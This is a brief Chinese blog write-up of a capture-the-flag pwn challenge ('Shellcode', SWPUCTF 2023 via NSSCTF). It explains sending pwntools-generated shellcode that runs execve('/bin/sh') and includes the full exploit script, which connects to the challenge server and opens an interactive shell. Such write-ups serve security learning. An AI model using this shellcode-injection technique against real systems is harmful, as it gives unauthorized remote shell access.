[SWPUCTF 2023 秋季新生赛]Shellcode WriteUp

vstral的博客 / 2024-10-15 / 原文

题目地址:https://www.nssctf.cn/problem/4546

主要思路:

利用Pwntools发送字节码调用执行execve("/bin/sh", NULL, NULL)实现

要点:

一定要添加context.binary = './shellcode'
解释:pwntools的一个设置,用来指定目标二进制文件,以便于获取它的相关信息,如系统架构,操作系统类型等细节

exp:

点击查看代码
from pwn import *

io = remote ('node4.anna.nssctf.cn',28697)
context.binary = './shellcode'

payload = (asm(shellcraft.sh()))
io.sendline(payload)
io.interactive()